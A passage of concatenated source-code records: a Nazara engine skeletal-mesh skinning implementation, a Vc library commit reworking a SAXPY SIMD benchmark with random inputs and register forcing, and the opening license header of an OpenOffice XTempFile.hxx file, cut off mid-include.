<Nazara\/Utility\/BufferMapper.hpp>\n#include <Nazara\/Utility\/Config.hpp>\n#include <Nazara\/Utility\/Mesh.hpp>\n#include <Nazara\/Utility\/Skeleton.hpp>\n#include <Nazara\/Utility\/VertexStruct.hpp>\n#include <vector>\n#include <Nazara\/Utility\/Debug.hpp>\n\nnamespace\n{\n\tstruct SkinningInfos\n\t{\n\t\tconst NzJoint* joints;\n\t\tconst NzMeshVertex* inputVertex;\n\t\tNzMeshVertex* outputVertex;\n\t\tconst NzVertexWeight* vertexWeights;\n\t\tconst NzWeight* weights;\n\t};\n\n\tvoid Skin_Position(const SkinningInfos& skinningInfos, unsigned int startVertex, unsigned int vertexCount)\n\t{\n\t\tconst NzMeshVertex* inputVertex = &skinningInfos.inputVertex[startVertex];\n\t\tNzMeshVertex* outputVertex = &skinningInfos.outputVertex[startVertex];\n\n\t\tunsigned int endVertex = startVertex + vertexCount - 1;\n\t\tfor (unsigned int i = startVertex; i <= endVertex; ++i)\n\t\t{\n\t\t\tNzVector3f finalPosition(NzVector3f::Zero());\n\n\t\t\tunsigned int weightCount = skinningInfos.vertexWeights[i].weights.size();\n\t\t\tfor (unsigned int j = 0; j < weightCount; ++j)\n\t\t\t{\n\t\t\t\tconst NzWeight& weight = skinningInfos.weights[skinningInfos.vertexWeights[i].weights[j]];\n\n\t\t\t\tNzMatrix4f mat(skinningInfos.joints[weight.jointIndex].GetInverseBindMatrix());\n\t\t\t\tmat.ConcatenateAffine(skinningInfos.joints[weight.jointIndex].GetTransformMatrix());\n\t\t\t\tmat *= weight.weight;\n\n\t\t\t\tfinalPosition += mat.Transform(inputVertex->position);\n\t\t\t}\n\n\t\t\toutputVertex->position = finalPosition;\n\t\t\toutputVertex->uv = inputVertex->uv;\n\n\t\t\tinputVertex++;\n\t\t\toutputVertex++;\n\t\t}\n\t}\n\n\tvoid Skin_PositionNormal(const SkinningInfos& skinningInfos, unsigned int startVertex, unsigned int vertexCount)\n\t{\n\t\tconst NzMeshVertex* inputVertex = &skinningInfos.inputVertex[startVertex];\n\t\tNzMeshVertex* outputVertex = &skinningInfos.outputVertex[startVertex];\n\n\t\tunsigned int endVertex = startVertex + vertexCount - 1;\n\t\tfor (unsigned int i = startVertex; i <= endVertex; ++i)\n\t\t{\n\t\t\tNzVector3f finalPosition(NzVector3f::Zero());\n\t\t\tNzVector3f finalNormal(NzVector3f::Zero());\n\n\t\t\tunsigned int weightCount = skinningInfos.vertexWeights[i].weights.size();\n\t\t\tfor (unsigned int j = 0; j < weightCount; ++j)\n\t\t\t{\n\t\t\t\tconst NzWeight& weight = skinningInfos.weights[skinningInfos.vertexWeights[i].weights[j]];\n\n\t\t\t\tNzMatrix4f mat(skinningInfos.joints[weight.jointIndex].GetInverseBindMatrix());\n\t\t\t\tmat.ConcatenateAffine(skinningInfos.joints[weight.jointIndex].GetTransformMatrix());\n\t\t\t\tmat *= weight.weight;\n\n\t\t\t\tfinalPosition += mat.Transform(inputVertex->position);\n\t\t\t\tfinalNormal += mat.Transform(inputVertex->normal, 0.f);\n\t\t\t}\n\n\t\t\tfinalNormal.Normalize();\n\n\t\t\toutputVertex->normal = finalNormal;\n\t\t\toutputVertex->position = finalPosition;\n\t\t\toutputVertex->uv = inputVertex->uv;\n\n\t\t\tinputVertex++;\n\t\t\toutputVertex++;\n\t\t}\n\t}\n\n\tvoid Skin_PositionNormalTangent(const SkinningInfos& skinningInfos, unsigned int startVertex, unsigned int vertexCount)\n\t{\n\t\tconst NzMeshVertex* inputVertex = &skinningInfos.inputVertex[startVertex];\n\t\tNzMeshVertex* outputVertex = &skinningInfos.outputVertex[startVertex];\n\n\t\tunsigned int endVertex = startVertex + vertexCount - 1;\n\t\tfor (unsigned int i = startVertex; i <= endVertex; ++i)\n\t\t{\n\t\t\tNzVector3f finalPosition(NzVector3f::Zero());\n\t\t\tNzVector3f finalNormal(NzVector3f::Zero());\n\t\t\tNzVector3f finalTangent(NzVector3f::Zero());\n\n\t\t\tunsigned int weightCount = skinningInfos.vertexWeights[i].weights.size();\n\t\t\tfor (unsigned int j = 0; j < weightCount; ++j)\n\t\t\t{\n\t\t\t\tconst NzWeight& weight = skinningInfos.weights[skinningInfos.vertexWeights[i].weights[j]];\n\n\t\t\t\tNzMatrix4f mat(skinningInfos.joints[weight.jointIndex].GetInverseBindMatrix());\n\t\t\t\tmat.ConcatenateAffine(skinningInfos.joints[weight.jointIndex].GetTransformMatrix());\n\t\t\t\tmat *= weight.weight;\n\n\t\t\t\tfinalPosition += mat.Transform(inputVertex->position);\n\t\t\t\tfinalNormal += mat.Transform(inputVertex->normal, 0.f);\n\t\t\t\tfinalTangent += mat.Transform(inputVertex->tangent, 0.f);\n\t\t\t}\n\n\t\t\tfinalNormal.Normalize();\n\t\t\tfinalTangent.Normalize();\n\n\t\t\toutputVertex->normal = finalNormal;\n\t\t\toutputVertex->position = finalPosition;\n\t\t\toutputVertex->tangent = finalTangent;\n\t\t\toutputVertex->uv = inputVertex->uv;\n\n\t\t\tinputVertex++;\n\t\t\toutputVertex++;\n\t\t}\n\t}\n}\n\nstruct NzSkeletalMeshImpl\n{\n\tstd::vector<NzVertexWeight> vertexWeights;\n\tstd::vector<NzWeight> weights;\n\tNzCubef aabb;\n\tnzUInt8* bindPoseBuffer;\n\tNzIndexBufferConstRef indexBuffer;\n\tunsigned int vertexCount;\n};\n\nNzSkeletalMesh::NzSkeletalMesh(const NzMesh* parent) :\nNzSubMesh(parent)\n{\n}\n\nNzSkeletalMesh::~NzSkeletalMesh()\n{\n\tDestroy();\n}\n\nbool NzSkeletalMesh::Create(unsigned int vertexCount, unsigned int weightCount)\n{\n\tDestroy();\n\n\t#if NAZARA_UTILITY_SAFE\n\tif (vertexCount == 0)\n\t{\n\t\tNazaraError(\"Vertex count must be over 0\");\n\t\treturn false;\n\t}\n\n\tif (weightCount == 0)\n\t{\n\t\tNazaraError(\"Weight count must be over 0\");\n\t\treturn false;\n\t}\n\t#endif\n\n\tm_impl = new NzSkeletalMeshImpl;\n\tm_impl->bindPoseBuffer = new nzUInt8[vertexCount*sizeof(NzMeshVertex)];\n\tm_impl->vertexCount = vertexCount;\n\tm_impl->vertexWeights.resize(vertexCount);\n\tm_impl->weights.resize(weightCount);\n\n\treturn true;\n}\n\nvoid NzSkeletalMesh::Destroy()\n{\n\tif (m_impl)\n\t{\n\t\tdelete[] m_impl->bindPoseBuffer;\n\t\tdelete m_impl;\n\t\tm_impl = nullptr;\n\t}\n}\n\nvoid NzSkeletalMesh::Finish()\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn;\n\t}\n\t#endif\n\n\t\/\/ Rien à faire de particulier\n}\n\nconst NzCubef& NzSkeletalMesh::GetAABB() const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\n\t\tstatic NzCubef dummy;\n\t\treturn dummy;\n\t}\n\t#endif\n\n\treturn m_impl->aabb;\n}\n\nnzAnimationType NzSkeletalMesh::GetAnimationType() const\n{\n\treturn nzAnimationType_Skeletal;\n}\n\nvoid* NzSkeletalMesh::GetBindPoseBuffer()\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn m_impl->bindPoseBuffer;\n}\n\nconst void* NzSkeletalMesh::GetBindPoseBuffer() const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn m_impl->bindPoseBuffer;\n}\n\nconst NzIndexBuffer* NzSkeletalMesh::GetIndexBuffer() const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn m_impl->indexBuffer;\n}\n\nunsigned int NzSkeletalMesh::GetVertexCount() const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn 0;\n\t}\n\t#endif\n\n\treturn m_impl->vertexCount;\n}\n\nNzVertexWeight* NzSkeletalMesh::GetVertexWeight(unsigned int vertexIndex)\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn &m_impl->vertexWeights[vertexIndex];\n}\n\nconst NzVertexWeight* NzSkeletalMesh::GetVertexWeight(unsigned int vertexIndex) const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn &m_impl->vertexWeights[vertexIndex];\n}\n\nNzWeight* NzSkeletalMesh::GetWeight(unsigned int weightIndex)\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn &m_impl->weights[weightIndex];\n}\n\nconst NzWeight* NzSkeletalMesh::GetWeight(unsigned int weightIndex) const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn &m_impl->weights[weightIndex];\n}\n\nunsigned int NzSkeletalMesh::GetWeightCount() const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn 0;\n\t}\n\t#endif\n\n\treturn m_impl->weights.size();\n}\n\nbool NzSkeletalMesh::IsAnimated() const\n{\n\treturn true;\n}\n\nbool NzSkeletalMesh::IsValid() const\n{\n\treturn m_impl != nullptr;\n}\n\nvoid NzSkeletalMesh::Skin(NzMeshVertex* outputBuffer) const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn;\n\t}\n\t#endif\n\n\tSkin(outputBuffer, m_parent->GetSkeleton());\n}\n\nvoid NzSkeletalMesh::Skin(NzMeshVertex* outputBuffer, const NzSkeleton* skeleton) const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn;\n\t}\n\t#endif\n\n\tSkinningInfos skinningInfos;\n\tskinningInfos.inputVertex = reinterpret_cast<const NzMeshVertex*>(m_impl->bindPoseBuffer);\n\tskinningInfos.outputVertex = outputBuffer;\n\tskinningInfos.joints = skeleton->GetJoints();\n\tskinningInfos.vertexWeights = &m_impl->vertexWeights[0];\n\tskinningInfos.weights = &m_impl->weights[0];\n\n\t#if NAZARA_UTILITY_MULTITHREADED_SKINNING\n\tunsigned int jointCount = skeleton->GetJointCount();\n\tfor (unsigned int i = 0; i < jointCount; ++i)\n\t\tskinningInfos.joints[i].EnsureTransformMatrixUpdate();\n\n\tunsigned int workerCount = NzTaskScheduler::GetWorkerCount();\n\n\tstd::ldiv_t div = std::ldiv(m_impl->vertexCount, workerCount); \/\/ Qui sait, peut-être que ça permet des optimisations plus efficaces\n\tfor (unsigned int i = 0; i < workerCount; ++i)\n\t\tNzTaskScheduler::AddTask(Skin_PositionNormalTangent, skinningInfos, i*div.quot, (i == workerCount-1) ? div.quot + div.rem : div.quot);\n\n\tNzTaskScheduler::WaitForTasks();\n\t#else\n\tSkin_PositionNormalTangent(skinningInfos, 0, m_impl->vertexCount);\n\t#endif\n\n\tm_impl->aabb = skeleton->GetAABB();\n}\n\nvoid NzSkeletalMesh::SetIndexBuffer(const NzIndexBuffer* indexBuffer)\n{\n\tm_impl->indexBuffer = indexBuffer;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*  This file is part of the Vc library.\n\n    Copyright (C) 2009 Matthias Kretz <kretz@kde.org>\n\n    Vc is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Lesser General Public License as\n    published by the Free Software Foundation, either version 3 of\n    the License, or (at your option) any later version.\n\n    Vc is distributed in the hope that it will be useful, but\n    WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with Vc.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include <Vc\/float_v>\n#include \"benchmark.h\"\n#include <cstdio>\n\nusing namespace Vc;\n\nstatic const int factor = 1000000;\n\nint main()\n{\n    int blackHole = true;\n    {\n        Benchmark timer(\"SAXPY\", 8. * float_v::Size * factor, \"FLOP\");\n        for (int repetitions = 0; repetitions < 10; ++repetitions) {\n            float_v alpha[4] = {\n                float_v(repetitions + 0.2f),\n                float_v(repetitions - 0.2f),\n                float_v(repetitions + 0.1f),\n                float_v(repetitions - 0.1f)\n            };\n            float_v x[4] = { 2.9f, 3.2f, 1.4f, 2.1f };\n            float_v y[4] = { 1.2f, 0.2f, -1.4f, 4.3f };\n\n            timer.Start();\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n            for (int i = 0; i < factor; ++i) {\n                    x[0] = alpha[0] * x[0] + y[0];\n                    x[1] = alpha[1] * x[1] + y[1];\n                    x[2] = alpha[2] * x[2] + y[2];\n                    x[3] = alpha[3] * x[3] + y[3];\n            }\n\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n            timer.Stop();\n\n            const int k = (x[0] < x[1]) && (x[2] < x[3]);\n            blackHole &= k;\n        }\n        timer.Print(Benchmark::PrintAverage);\n    }\n\n    \/\/ reference\n    {\n        Benchmark timer(\"SAXPY (reference)\", 8. * float_v::Size * factor, \"FLOP\");\n        for (int repetitions = 0; repetitions < 10; ++repetitions) {\n#ifdef USE_SSE\n            __m128 tmp = _mm_set1_ps(static_cast<float>(repetitions));\n            const __m128 oPoint2 = _mm_set1_ps(0.2f);\n            const __m128 oPoint1 = _mm_set1_ps(0.1f);\n            __m128 alpha[4] = {\n                _mm_add_ps(tmp, oPoint2),\n                _mm_sub_ps(tmp, oPoint2),\n                _mm_add_ps(tmp, oPoint1),\n                _mm_sub_ps(tmp, oPoint1)\n            };\n            __m128 x[4] = { _mm_set1_ps(2.9f), _mm_set1_ps(3.2f), _mm_set1_ps(1.4f), _mm_set1_ps(2.1f) };\n            __m128 y[4] = { _mm_set1_ps(1.2f), _mm_set1_ps(0.2f), _mm_set1_ps(-1.4f), _mm_set1_ps(4.3f) };\n\n            timer.Start();\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n            for (int i = 0; i < factor; ++i) {\n                    x[0] = _mm_add_ps(_mm_mul_ps(alpha[0], x[0]), y[0]);\n                    x[1] = _mm_add_ps(_mm_mul_ps(alpha[1], x[1]), y[1]);\n                    x[2] = _mm_add_ps(_mm_mul_ps(alpha[2], x[2]), y[2]);\n                    x[3] = _mm_add_ps(_mm_mul_ps(alpha[3], x[3]), y[3]);\n            }\n\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n            timer.Stop();\n\n            const int k = _mm_movemask_ps(_mm_add_ps(_mm_add_ps(x[0], x[1]), _mm_add_ps(x[2], x[3])));\n            blackHole &= k;\n#elif defined(ENABLE_LARRABEE)\n            __m512 tmp = _mm512_set_1to16_ps(static_cast<float>(repetitions));\n            const __m512 oPoint2 = _mm512_set_1to16_ps(0.2f);\n            const __m512 oPoint1 = _mm512_set_1to16_ps(0.1f);\n            __m512 alpha[4] = {\n                _mm512_add_ps(tmp, oPoint2),\n                _mm512_sub_ps(tmp, oPoint2),\n                _mm512_add_ps(tmp, oPoint1),\n                _mm512_sub_ps(tmp, oPoint1)\n            };\n            __m512 x[4] = { _mm512_set_1to16_ps(2.9f), _mm512_set_1to16_ps(3.2f), _mm512_set_1to16_ps(1.4f), _mm512_set_1to16_ps(2.1f) };\n            __m512 y[4] = { _mm512_set_1to16_ps(1.2f), _mm512_set_1to16_ps(0.2f), _mm512_set_1to16_ps(-1.4f), _mm512_set_1to16_ps(4.3f) };\n\n            timer.Start();\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n            for (int i = 0; i < factor; ++i) {\n                    x[0] = _mm512_madd132_ps(alpha[0], y[0], x[0]);\n                    x[1] = _mm512_madd132_ps(alpha[1], y[1], x[1]);\n                    x[2] = _mm512_madd132_ps(alpha[2], y[2], x[2]);\n                    x[3] = _mm512_madd132_ps(alpha[3], y[3], x[3]);\n            }\n\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n            timer.Stop();\n\n            const int k = _mm512_cmpeq_ps(_mm512_add_ps(x[0], x[1]), _mm512_add_ps(x[2], x[3]));\n            blackHole &= k;\n#else\n            float alpha[4] = {\n                float(repetitions + 0.2f),\n                float(repetitions - 0.2f),\n                float(repetitions + 0.1f),\n                float(repetitions - 0.1f)\n            };\n            float x[4] = { 2.9f, 3.2f, 1.4f, 2.1f };\n            float y[4] = { 1.2f, 0.2f, -1.4f, 4.3f };\n\n            timer.Start();\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n            for (int i = 0; i < factor; ++i) {\n                    x[0] = alpha[0] * x[0] + y[0];\n                    x[1] = alpha[1] * x[1] + y[1];\n                    x[2] = alpha[2] * x[2] + y[2];\n                    x[3] = alpha[3] * x[3] + y[3];\n            }\n\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n            timer.Stop();\n\n            const int k = (x[0] < x[1]) && (x[2] < x[3]);\n            blackHole &= k;\n#endif\n        }\n        timer.Print(Benchmark::PrintAverage);\n    }\n    if (blackHole == 82934) {\n        std::cout << std::endl;\n    }\n    return 0;\n}\n<commit_msg>force compiler to use as many registers as possible; better black hole that the compiler cannot optimize away; use random numbers to keep the compiler from optimizing too much<commit_after>\/*  This file is part of the Vc library.\n\n    Copyright (C) 2009 Matthias Kretz <kretz@kde.org>\n\n    Vc is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Lesser General Public License as\n    published by the Free Software Foundation, either version 3 of\n    the License, or (at your option) any later version.\n\n    Vc is distributed in the hope that it will be useful, but\n    WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with Vc.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include <Vc\/float_v>\n#include \"benchmark.h\"\n#include <cstdio>\n#include <cstdlib>\n\nusing namespace Vc;\n\nstatic const int factor = 1000000;\n\nstatic float randomF(float min, float max)\n{\n    const float delta = max - min;\n    return min + delta * rand() \/ RAND_MAX;\n}\n\nstatic float randomF12() { return randomF(1.f, 2.f); }\n\nint main()\n{\n    int blackHole = true;\n    {\n        Benchmark timer(\"SAXPY\", 8. * float_v::Size * factor, \"FLOP\");\n        for (int repetitions = 0; repetitions < 10; ++repetitions) {\n            const float_v alpha[4] = {\n                float_v(repetitions + randomF(.1f, .2f)),\n                float_v(repetitions - randomF(.1f, .2f)),\n                float_v(repetitions + randomF(.1f, .2f)),\n                float_v(repetitions - randomF(.1f, .2f))\n            };\n            float_v x[4] = { randomF12(), randomF12(), randomF12(), randomF12() };\n            const float_v y[4] = { randomF12(), randomF12(), randomF12(), randomF12() };\n\n            timer.Start();\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n            for (int i = 0; i < factor; ++i) {\n                    x[0] = alpha[0] * x[0] + y[0];\n                    x[1] = alpha[1] * x[1] + y[1];\n                    x[2] = alpha[2] * x[2] + y[2];\n                    x[3] = alpha[3] * x[3] + y[3];\n            }\n\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n            timer.Stop();\n\n            const int k = (x[0] < x[1]) && (x[2] < x[3]);\n            blackHole &= k;\n        }\n        timer.Print(Benchmark::PrintAverage);\n    }\n\n    \/\/ reference\n    {\n        Benchmark timer(\"SAXPY (reference)\", 8. * float_v::Size * factor, \"FLOP\");\n        for (int repetitions = 0; repetitions < 10; ++repetitions) {\n#ifdef USE_SSE\n            __m128 tmp = _mm_set1_ps(static_cast<float>(repetitions));\n            const __m128 oPoint2 = _mm_set_ps(randomF(.1f, .2f), randomF(.1f, .2f), randomF(.1f, .2f), randomF(.1f, .2f));\n            const __m128 oPoint1 = _mm_set_ps(randomF(.1f, .2f), randomF(.1f, .2f), randomF(.1f, .2f), randomF(.1f, .2f));\n            const __m128 alpha[4] = {\n                _mm_add_ps(tmp, oPoint2),\n                _mm_sub_ps(tmp, oPoint2),\n                _mm_add_ps(tmp, oPoint1),\n                _mm_sub_ps(tmp, oPoint1)\n            };\n            __m128 x[4] = { _mm_set_ps(randomF12(), randomF12(), randomF12(), randomF12()),\n                _mm_set_ps(randomF12(), randomF12(), randomF12(), randomF12()),\n                _mm_set_ps(randomF12(), randomF12(), randomF12(), randomF12()),\n                _mm_set_ps(randomF12(), randomF12(), randomF12(), randomF12()) };\n            const __m128 y[4] = { _mm_set_ps(randomF12(), randomF12(), randomF12(), randomF12()),\n                _mm_set_ps(randomF12(), randomF12(), randomF12(), randomF12()),\n                _mm_set_ps(randomF12(), randomF12(), randomF12(), randomF12()),\n                _mm_set_ps(randomF12(), randomF12(), randomF12(), randomF12()) };\n\n            \/\/ force the vectors to xmm registers, otherwise GCC decides to work on the stack and\n            \/\/ lose half of the performance\n            asm volatile(\"\" ::\n                    \"x\"(x[0]), \"x\"(x[1]), \"x\"(x[2]), \"x\"(x[3]),\n                    \"x\"(y[0]), \"x\"(y[1]), \"x\"(y[2]), \"x\"(y[3]),\n                    \"x\"(alpha[0]), \"x\"(alpha[1]), \"x\"(alpha[2]), \"x\"(alpha[3]));\n\n            timer.Start();\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n            for (int i = 0; i < factor; ++i) {\n                    x[0] = _mm_add_ps(_mm_mul_ps(alpha[0], x[0]), y[0]);\n                    x[1] = _mm_add_ps(_mm_mul_ps(alpha[1], x[1]), y[1]);\n                    x[2] = _mm_add_ps(_mm_mul_ps(alpha[2], x[2]), y[2]);\n                    x[3] = _mm_add_ps(_mm_mul_ps(alpha[3], x[3]), y[3]);\n            }\n\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n            timer.Stop();\n\n            const int k = _mm_movemask_ps(_mm_add_ps(_mm_add_ps(x[0], x[1]), _mm_add_ps(x[2], x[3])));\n            blackHole &= k;\n#elif defined(ENABLE_LARRABEE)\n            __m512 tmp = _mm512_set_1to16_ps(static_cast<float>(repetitions));\n            const __m512 oPoint2 = _mm512_set_1to16_ps(randomF(.1f, .2f));\n            const __m512 oPoint1 = _mm512_set_1to16_ps(randomF(.1f, .2f));\n            const __m512 alpha[4] = {\n                _mm512_add_ps(tmp, oPoint2),\n                _mm512_sub_ps(tmp, oPoint2),\n                _mm512_add_ps(tmp, oPoint1),\n                _mm512_sub_ps(tmp, oPoint1)\n            };\n            __m512 x[4] = { _mm512_set_1to16_ps(randomF12()), _mm512_set_1to16_ps(randomF12()), _mm512_set_1to16_ps(randomF12()), _mm512_set_1to16_ps(randomF12()) };\n            const __m512 y[4] = { _mm512_set_1to16_ps(randomF12()), _mm512_set_1to16_ps(randomF12()), _mm512_set_1to16_ps(randomF12()), _mm512_set_1to16_ps(randomF12()) };\n\n            timer.Start();\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n            for (int i = 0; i < factor; ++i) {\n                    x[0] = _mm512_madd132_ps(alpha[0], y[0], x[0]);\n                    x[1] = _mm512_madd132_ps(alpha[1], y[1], x[1]);\n                    x[2] = _mm512_madd132_ps(alpha[2], y[2], x[2]);\n                    x[3] = _mm512_madd132_ps(alpha[3], y[3], x[3]);\n            }\n\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n            timer.Stop();\n\n            const int k = _mm512_cmpeq_ps(_mm512_add_ps(x[0], x[1]), _mm512_add_ps(x[2], x[3]));\n            blackHole &= k;\n#else\n            const float alpha[4] = {\n                float(repetitions + randomF(.1f, .2f)),\n                float(repetitions - randomF(.1f, .2f)),\n                float(repetitions + randomF(.1f, .2f)),\n                float(repetitions - randomF(.1f, .2f))\n            };\n            float x[4] = { randomF12(), randomF12(), randomF12(), randomF12() };\n            const float y[4] = { randomF12(), randomF12(), randomF12(), randomF12() };\n\n            timer.Start();\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n            for (int i = 0; i < factor; ++i) {\n                    x[0] = alpha[0] * x[0] + y[0];\n                    x[1] = alpha[1] * x[1] + y[1];\n                    x[2] = alpha[2] * x[2] + y[2];\n                    x[3] = alpha[3] * x[3] + y[3];\n            }\n\n            \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n            timer.Stop();\n\n            const int k = (x[0] < x[1]) && (x[2] < x[3]);\n            blackHole &= k;\n#endif\n        }\n        timer.Print(Benchmark::PrintAverage);\n    }\n    if (blackHole != 0) {\n        std::cout << std::endl;\n    }\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: XTempFile.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: mtg $ $Date: 2001-09-06 12:53:04 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): Martin Gallwey (gallwey@sun.com)\n *\n *\n ************************************************************************\/\n#ifndef _XTEMPFILE_HXX\n#define _XTEMPFILE_HXX\n\n#ifndef _COM_SUN_STAR_IO_XINPUTSTREAM_HPP_\n#include <com\/sun\/star\/io\/XInputStream.hpp>\n#endif\n#ifndef _COM_SUN_STAR_IO_XOUTPUTSTREAM_HPP_\n#include <com\/sun\/star\/io\/XOutputStream.hpp>\n#endif\n#ifndef _COM_SUN_STAR_IO_XSEEKABLE_HPP_\n#include <com\/sun\/star\/io\/XSeekable.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSINGLESERVICEFACTORY_HPP_\n#include 